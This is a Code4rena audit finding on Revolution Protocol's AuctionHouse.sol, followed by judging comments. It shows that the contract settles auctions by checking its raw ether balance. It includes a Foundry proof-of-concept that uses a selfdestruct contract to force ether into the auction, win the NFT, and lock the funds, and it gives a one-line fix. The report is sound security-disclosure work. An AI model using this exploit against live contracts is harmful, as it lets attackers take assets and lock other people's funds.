Platform: Code4rena
Start Date: 13/12/2023
Pot Size: $36,500 USDC
Total HM: 18
Participants: 110
Period: 8 days
Judge: 0xTheC0der
Id: 311
League: ETH
Rank: 103/110
Findings: 1
Award: $2.67
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: jnforja
Also found by: 0x175, 0xCiphky, 0xDING99YA, 0xmystery, ArmedGoose, Aymen0909, Franklin, KupiaSec, McToady, MrPotatoMagic, Ocean_Sky, PNS, Pechenite, TermoHash, Topmark, _eperezok, alexbabits, deth, hals, imare, jeff, ktg, leegh, mahdirostami, marqymarq10, mojito_auditor, neocrao, ptsanev, twcctop, zraxx
2.6741 USDC - $2.67
The appropriate recipients (i.e. the DAO, creators and the auctioneer) will not receive any of their ether or ERC20 tokens, yet the malicious actor will receive the NFT. The ether paid for the NFT will be permanently locked in AuctionHouse.sol
.
_settleAuction()
in AuctionHouse.sol
uses the balance of the contract to determine whether or not to execute certain logic, AuctionHouse.sol#L348:
if (address(this).balance < reservePrice) {
However the balance of the contract is manipulatable. A malicious actor can use a contract that utilises the selfdestruct
opcode to push ether into AuctionHouse.sol
and meet the reservePrice
. The following if
statement condition determines wether the fund distribution logic will be executed or not, AuctionHouse.sol#L363:
if (_auction.amount > 0) {
Although this condition will not be met because the auction was won by forcing ether into the contract which does not update the amount
. Add the following test case to 2023-12-revolutionprotocol/packages/revolution/test/auction
:
pragma solidity ^0.8.22; import { AuctionHouseTest } from "./AuctionHouse.t.sol"; // Create the malicious contract contract Malicious { function exploit(address target) external { selfdestruct(payable(target)); } receive() external payable {} } /* * Note that the following test demonstrates the outcome with the maximum impact. * There are other ways to perform this exploit whereby the appropriate recipients * receive some of the funds, but not all of them. */ contract Exploit is AuctionHouseTest, Malicious { function test_Exploit() public { createDefaultArtPiece(); auction.unpause(); vm.stopPrank(); // Deploy the malicious contract Malicious malicious = new Malicious(); // Fund the malicious contract vm.deal(address(malicious), 100 ether); // Make an address for Bob address bob = makeAddr("bob"); // Initiate the reserve price for maximum impact vm.prank(auction.owner()); auction.setReservePrice(0); // Bob creates a bid and becomes the highest bidder vm.prank(bob); auction.createBid{value: 0}(0, bob); // Update the reserve price vm.prank(auction.owner()); auction.setReservePrice(100 ether); // Execute the exploit malicious.exploit(address(auction)); // Settle the auction vm.warp(block.timestamp + auction.duration()); auction.settleCurrentAndCreateNewAuction(); // Bob received the NFT assertEq(erc721Token.balanceOf(bob), 1); // No ERC20 tokens were minted assertEq(erc20Token.totalSupply(), 0); // All of the ether is locked in the auction contract assertEq(address(auction).balance, 100 ether); } }
pnpm run test --match-path test/auction/Exploit.t.sol
Manual review and Foundry.
Use _auction.amount
instead of address(this).balance
, AuctionHouse.sol#L348:
- if (address(this).balance < reservePrice) { + if (_auction.amount < reservePrice) {
Other
#0 - c4-pre-sort
2023-12-23T00:45:42Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-12-23T00:46:02Z
raymondfam marked the issue as duplicate of #515
#2 - c4-judge
2024-01-05T22:08:21Z
MarioPoneder marked the issue as satisfactory
#3 - c4-judge
2024-01-11T18:03:12Z
MarioPoneder changed the severity to 2 (Med Risk)